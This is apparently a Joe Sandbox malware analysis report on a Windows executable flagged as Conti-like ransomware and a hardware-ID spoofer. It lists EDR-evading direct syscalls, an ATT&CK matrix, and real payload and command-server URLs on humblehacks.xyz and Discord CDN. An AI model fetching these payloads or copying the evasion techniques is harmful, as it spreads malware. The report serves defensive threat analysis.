Source: C:\Users\user\Desktop\aYu936prD4.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Windows\System32\ESCore.exe	NtSetInformationThread: Direct from: 0x1409EF79F	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	NtQueryInformationProcess: Direct from: 0x140A0E1F6	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	NtQueryInformationProcess: Direct from: 0x1405900C7	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	NtProtectVirtualMemory: Direct from: 0x140AE458A	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	NtClose: Indirect: 0x140AF4EF6
Source: C:\Windows\System32\ESCore.exe	NtProtectVirtualMemory: Direct from: 0x140A90EA2	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	NtQueryInformationProcess: Direct from: 0x140A6ED7A	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	NtQuerySystemInformation: Direct from: 0x140596B03	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	NtClose: Direct from: 0x140AD2E3C
Source: C:\Windows\System32\ESCore.exe	NtProtectVirtualMemory: Direct from: 0x140AD0D7C	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	NtProtectVirtualMemory: Direct from: 0x140A412E6	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	NtProtectVirtualMemory: Indirect: 0x14053F2FE	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	NtProtectVirtualMemory: Direct from: 0x140AA1014	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	NtProtectVirtualMemory: Direct from: 0x14058516B	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	NtSetInformationThread: Direct from: 0x140592970	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	NtProtectVirtualMemory: Direct from: 0x140AD680C	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	NtProtectVirtualMemory: Direct from: 0x140A6060E	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	NtClose: Direct from: 0x140582B51
Source: C:\Windows\System32\ESCore.exe	NtUnmapViewOfSection: Direct from: 0x140A5FACC	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	NtQueryInformationProcess: Direct from: 0x140AB6EF5	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	NtQuerySystemInformation: Direct from: 0x140A8BF62	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	NtProtectVirtualMemory: Direct from: 0x1405A0F8D	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	NtProtectVirtualMemory: Direct from: 0x140552BB8	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	NtProtectVirtualMemory: Direct from: 0x140542763	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	NtProtectVirtualMemory: Direct from: 0x140A23B22	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	NtProtectVirtualMemory: Direct from: 0x140581521	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	NtSetInformationThread: Direct from: 0x140A370C1	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	NtQueryInformationProcess: Direct from: 0x140597FEB	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	NtProtectVirtualMemory: Indirect: 0x140533B3E	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	NtClose: Indirect: 0x140AA2C2C
Source: C:\Windows\System32\ESCore.exe	NtProtectVirtualMemory: Direct from: 0x140A6C27B	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	NtProtectVirtualMemory: Direct from: 0x1409F9CFE	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	NtProtectVirtualMemory: Direct from: 0x140A5ED9A	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\Desktop\VivianSpoofer.exe VivianSpoofer.exe			Jump to behavior

Source: C:\Users\user\Desktop\aYu936prD4.exe	Queries volume information: C:\Users\user\Desktop\aYu936prD4.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Queries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Queries volume information: C:\Users\user\Desktop\VivianSpoofer.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Queries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\aYu936prD4.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	2 Windows Management Instrumentation	1 Scripting	11 Process Injection	121 Masquerading	1 Credential API Hooking	1 Query Registry	Remote Services	1 Credential API Hooking	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Bootkit	1 Abuse Elevation Control Mechanism	1 Disable or Modify Tools	LSASS Memory	621 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	1 DLL Side-Loading	251 Virtualization/Sandbox Evasion	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	251 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Abuse Elevation Control Mechanism	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Obfuscated Files or Information	Cached Domain Credentials	113 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Bootkit	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 File Deletion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
aYu936prD4.exe	49%	Virustotal		Browse
aYu936prD4.exe	47%	ReversingLabs	Win32.Ransomware.Conti
aYu936prD4.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Windows\System32\ESCore.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\UpdatePackage.dat	100%	Joe Sandbox ML

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://crl.trustasia.com/ca.crl0;	0%	Avira URL Cloud	safe
https://humblehacks.xyz/Aut.php?auth=11l	0%	Avira URL Cloud	safe
https://humblehacks.xyz/J~	0%	Avira URL Cloud	safe
https://humblehacks.xyz/B~	0%	Avira URL Cloud	safe
http://grc.comX	0%	Avira URL Cloud	safe
https://humblehacks.xyz/F~	0%	Avira URL Cloud	safe
https://humblehacks.xyz/Aut.php?auth=11&	0%	Avira URL Cloud	safe
https://humblehacks.xyz/patch/	0%	Avira URL Cloud	safe
https://humblehacks.xyz/Aut.php?loginname=Vivianware&auth=4&cc=user&req=upd&newhd=NAME%20:%20Username%20STATE%20:%20Active%20IP%20:%2083.31.140.108%20PRODUCTS%20:%20ken%20:%2023%20GLO10%20:%2020251300%20TOKENS%20:%20kenT%20:%20Token%20GLO10T%20:%20962997-45B26E-A20GLO10SUS_DUR%20:%20N/AHRESETS%20:N/A&oldhd=NAME%20:%20Username%20STATE%20:%20Active%20IP%20:%2083.31.140.108%20PRODUCTS%20:%20GLO10%20:%2020251300%20TOKENS%20:%20GLO10T%20:%20962997-45B26E-A20GLO10%20SUS_DUR%20:%20N/A%20HRESETS%20:%20N/A&nd=Token%20:%20Token%20Period%20:	0%	Avira URL Cloud	safe
https://humblehacks.xyz/Aut.php?loginname=Vivianware&auth=4&cc=user&req=upd&newhd=NAME%20:%20Usernam	0%	Avira URL Cloud	safe
https://humblehacks.xyz/N3	0%	Avira URL Cloud	safe
https://humblehacks.xyz/patch/Vivian/patch.txt	0%	Avira URL Cloud	safe
https://humblehacks.xyz/Aut.php?loginname=	0%	Avira URL Cloud	safe
https://humblehacks.xyz/Aut.php?auth=1&loginname=VivianwarePs	0%	Avira URL Cloud	safe
http://crl.trustasia.com/code.crl0=	0%	Avira URL Cloud	safe
https://humblehacks.xyz/Aut.php?auth=10	0%	Avira URL Cloud	safe
http://aia.trustasia.com/ca.cer0	0%	Avira URL Cloud	safe
https://humblehacks.xyz/Aut.php?auth=1&loginname=Vivianware	0%	Avira URL Cloud	safe
https://humblehacks.xyz/	0%	Avira URL Cloud	safe
https://humblehacks.xyz/Aut.php?auth=11	0%	Avira URL Cloud	safe
https://humblehacks.xyz/j	0%	Avira URL Cloud	safe
https://humblehacks.xyz/N	0%	Avira URL Cloud	safe
https://humblehacks.xyz/Aut.php?auth=1&loginname=Ohttps://humblehacks.xyz/Aut.php?auth=10GC:	0%	Avira URL Cloud	safe
https://humblehacks.xyz/Aut.php?auth=1&loginname=VivianwareR	0%	Avira URL Cloud	safe
https://humblehacks.xyz/Aut.php?auth=1&loginname=	0%	Avira URL Cloud	safe
https://humblehacks.xyz	0%	Avira URL Cloud	safe
https://humblehacks.xyz/Aut.php?auth=1&loginname=Vivianware8s	0%	Avira URL Cloud	safe
https://humblehacks.xyz/patch/Vivian/UpdatePackage.dat	0%	Avira URL Cloud	safe
https://humblehacks.xyz/Aut.php?auth=1&loginname=Vivianwarec	0%	Avira URL Cloud	safe
https://humblehacks.xyz/Aut.php?loginname=&uuid=&auth=4&cc=user&req=crt&nd=https://humblehacks.xyz/A	0%	Avira URL Cloud	safe
https://humblehacks.xyz/u	0%	Avira URL Cloud	safe
https://humblehacks.xyz/Aut.php?loginname=Vivianware&auth=4&cc=user&req=upd&newhd=NAME	0%	Avira URL Cloud	safe
https://humblehacks.xyz/p	0%	Avira URL Cloud	safe
http://aia.trustasia.com/code.cer0	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
humblehacks.xyz	92.205.3.41	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://humblehacks.xyz/Aut.php?loginname=Vivianware&auth=4&cc=user&req=upd&newhd=NAME%20:%20Username%20STATE%20:%20Active%20IP%20:%2083.31.140.108%20PRODUCTS%20:%20ken%20:%2023%20GLO10%20:%2020251300%20TOKENS%20:%20kenT%20:%20Token%20GLO10T%20:%20962997-45B26E-A20GLO10SUS_DUR%20:%20N/AHRESETS%20:N/A&oldhd=NAME%20:%20Username%20STATE%20:%20Active%20IP%20:%2083.31.140.108%20PRODUCTS%20:%20GLO10%20:%2020251300%20TOKENS%20:%20GLO10T%20:%20962997-45B26E-A20GLO10%20SUS_DUR%20:%20N/A%20HRESETS%20:%20N/A&nd=Token%20:%20Token%20Period%20:	true	Avira URL Cloud: safe	unknown
https://humblehacks.xyz/patch/Vivian/patch.txt	true	Avira URL Cloud: safe	unknown
https://humblehacks.xyz/Aut.php?auth=10	true	Avira URL Cloud: safe	unknown
https://humblehacks.xyz/Aut.php?auth=1&loginname=Vivianware	true	Avira URL Cloud: safe	unknown
https://humblehacks.xyz/Aut.php?auth=11	true	Avira URL Cloud: safe	unknown
https://humblehacks.xyz/patch/Vivian/UpdatePackage.dat	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.trustasia.com/ca.crl0;	UpdatePackage.dat.0.dr	false	Avira URL Cloud: safe	unknown
https://humblehacks.xyz/Aut.php?auth=11l	ESCore.exe, 00000010.00000002.2884175315.0000000000418000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://humblehacks.xyz/J~	ESCore.exe, 00000010.00000002.2884175315.00000000004DB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://grc.comX	aYu936prD4.exe, UpdatePackage.dat.0.dr	false	Avira URL Cloud: safe	unknown
https://humblehacks.xyz/F~	ESCore.exe, 00000010.00000002.2884175315.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000003.2862717131.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000003.2862848205.00000000004DB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://humblehacks.xyz/patch/	aYu936prD4.exe, UpdatePackage.dat.0.dr	false	Avira URL Cloud: safe	unknown
https://humblehacks.xyz/B~	ESCore.exe, 00000010.00000002.2884175315.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000003.2862717131.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000003.2862848205.00000000004DB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.GRC.com/inspectre.htmD	aYu936prD4.exe, UpdatePackage.dat.0.dr	false		high
https://humblehacks.xyz/Aut.php?loginname=Vivianware&auth=4&cc=user&req=upd&newhd=NAME%20:%20Usernam	ESCore.exe, 00000010.00000002.2884175315.00000000004A6000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000002.2884175315.000000000044D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://humblehacks.xyz/Aut.php?auth=11&	ESCore.exe, 00000010.00000002.2884175315.0000000000477000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://humblehacks.xyz/Aut.php?loginname=	ESCore.exe, 00000003.00000002.2096268774.000000014001A000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000000E.00000002.2687100899.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885145284.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991149397.000000014001E000.00000002.00000001.01000000.0000000C.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.thawte.com0	ESCore.exe, 00000003.00000002.2096288337.0000000140037000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000003.00000002.2096268774.000000014001A000.00000002.00000001.01000000.0000000C.sdmp, VivianSpoofer.exe, 0000000C.00000002.3928586010.000001F249F2C000.00000004.08000000.00040000.00000000.sdmp, ESCore.exe, 0000000E.00000002.2687121846.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000000E.00000002.2687100899.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000000E.00000002.2687121846.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885163099.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885145284.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885163099.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991200615.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991149397.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991200615.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	false		high
http://www.sysinternals.com	VivianSpoofer.exe, 0000000C.00000002.3928586010.000001F249F2C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	false		high
https://humblehacks.xyz/N3	ESCore.exe, 00000010.00000002.2884175315.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000003.2862717131.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000003.2862848205.00000000004DB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://humblehacks.xyz/Aut.php?auth=1&loginname=VivianwarePs	ESCore.exe, 00000010.00000002.2884175315.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000003.2862717131.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000003.2862848205.00000000004DB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.discordapp.com/attachments/723499233851736134/766737019405074472/AMIDEWINx64.EXE	aYu936prD4.exe, UpdatePackage.dat.0.dr	false		high
http://aia.trustasia.com/ca.cer0	UpdatePackage.dat.0.dr	false	Avira URL Cloud: safe	unknown
http://crl.trustasia.com/code.crl0=	UpdatePackage.dat.0.dr	false	Avira URL Cloud: safe	unknown
https://cdn.discordapp.com/attachments/723499233851736134/766737019376238642/amifldrv64.sys	aYu936prD4.exe, UpdatePackage.dat.0.dr	false		high
https://humblehacks.xyz/	ESCore.exe, 00000010.00000002.2884175315.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000003.2862717131.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000002.2884175315.0000000000477000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000003.2862848205.00000000004DB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://humblehacks.xyz/N	ESCore.exe, 00000010.00000002.2884175315.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000003.2862717131.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000003.2862848205.00000000004DB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://humblehacks.xyz/Aut.php?auth=1&loginname=Ohttps://humblehacks.xyz/Aut.php?auth=10GC:	aYu936prD4.exe, UpdatePackage.dat.0.dr	false	Avira URL Cloud: safe	unknown
https://humblehacks.xyz/Aut.php?auth=1&loginname=VivianwareR	ESCore.exe, 00000010.00000002.2884175315.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000003.2862717131.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000003.2862848205.00000000004DB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://humblehacks.xyz/j~	ESCore.exe, 00000010.00000002.2884175315.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000003.2862717131.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000003.2862848205.00000000004DB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://humblehacks.xyz/j	ESCore.exe, 00000010.00000002.2884175315.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000003.2862717131.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000003.2862848205.00000000004DB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://humblehacks.xyz/Aut.php?auth=1&loginname=	VivianSpoofer.exe, 0000000C.00000002.3910564041.000001F22F1EE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://cs-g2-crl.thawte.com/ThawteCSG2.crl0	VivianSpoofer.exe, 0000000C.00000002.3928586010.000001F249F2C000.00000004.08000000.00040000.00000000.sdmp, ESCore.exe, 0000000E.00000002.2687121846.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000000E.00000002.2687121846.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885163099.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885163099.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991200615.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991200615.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	false		high
http://crl.thawte.com/ThawteTimestampingCA.crl0	ESCore.exe, 00000003.00000002.2096268774.000000014001A000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000000E.00000002.2687100899.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885145284.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991149397.000000014001E000.00000002.00000001.01000000.0000000C.sdmp	false		high
https://humblehacks.xyz	VivianSpoofer.exe, 0000000C.00000002.3910564041.000001F22F058000.00000004.00000800.00020000.00000000.sdmp, VivianSpoofer.exe, 0000000C.00000002.3910564041.000001F22F24C000.00000004.00000800.00020000.00000000.sdmp, VivianSpoofer.exe, 0000000C.00000002.3910564041.000001F22F7CE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.thawte.com/cps0/	ESCore.exe, 00000003.00000002.2096288337.0000000140037000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000000E.00000002.2687121846.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000000E.00000002.2687121846.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885163099.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885163099.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991200615.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991200615.0000000140067000.00000004.00000001.01000000.0000000C.sdmp	false		high
http://crl.thawte.com/ThawtePCA.crl0	ESCore.exe, 00000003.00000002.2096288337.0000000140037000.00000004.00000001.01000000.0000000C.sdmp, VivianSpoofer.exe, 0000000C.00000002.3928586010.000001F249F2C000.00000004.08000000.00040000.00000000.sdmp, ESCore.exe, 0000000E.00000002.2687121846.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000000E.00000002.2687121846.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885163099.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885163099.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991200615.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991200615.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	false		high
https://humblehacks.xyz/Aut.php?loginname=&uuid=&auth=4&cc=user&req=crt&nd=https://humblehacks.xyz/A	ESCore.exe, 00000003.00000002.2096268774.000000014001A000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000000E.00000002.2687100899.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885145284.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991149397.000000014001E000.00000002.00000001.01000000.0000000C.sdmp	false	Avira URL Cloud: safe	unknown
https://www.thawte.com/repository0W	ESCore.exe, 00000003.00000002.2096288337.0000000140037000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000000E.00000002.2687121846.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000000E.00000002.2687121846.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885163099.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885163099.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991200615.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991200615.0000000140067000.00000004.00000001.01000000.0000000C.sdmp	false		high
https://humblehacks.xyz/Aut.php?auth=1&loginname=Vivianware8s	ESCore.exe, 00000010.00000002.2884175315.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000003.2862717131.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000003.2862848205.00000000004DB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.discordapp.com/attachments/723499233851736134/766737019376238642/amifldrv64.sysC:	aYu936prD4.exe, UpdatePackage.dat.0.dr	false		high
https://humblehacks.xyz/Aut.php?auth=1&loginname=Vivianwarec	ESCore.exe, 00000010.00000003.2862717131.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000003.2862848205.00000000004DB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://humblehacks.xyz/u	ESCore.exe, 00000010.00000002.2884175315.0000000000477000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://humblehacks.xyz/Aut.php?loginname=Vivianware&auth=4&cc=user&req=upd&newhd=NAME	ESCore.exe, 00000010.00000002.2884175315.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000002.2884175315.00000000004A6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	VivianSpoofer.exe, 0000000C.00000002.3910564041.000001F22F058000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.discordapp.com/attachments/723499233851736134/766737019405074472/AMIDEWINx64.EXEC:	aYu936prD4.exe, UpdatePackage.dat.0.dr	false		high
https://humblehacks.xyz/p	ESCore.exe, 00000010.00000002.2884175315.00000000004DB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://aia.trustasia.com/code.cer0	UpdatePackage.dat.0.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
92.205.3.41	humblehacks.xyz	Germany		8972	GD-EMEA-DC-SXB1DE	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581894
Start date and time:	2024-12-29 09:03:23 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	aYu936prD4.exe renamed because original name is a hash value
Original Sample Name:	610d0db5d146f16caad2482b11c22d30.exe
Detection:	MAL
Classification:	mal93.rans.troj.evad.winEXE@21/10@1/1
EGA Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.218.208.109, 20.12.23.50, 13.107.246.63
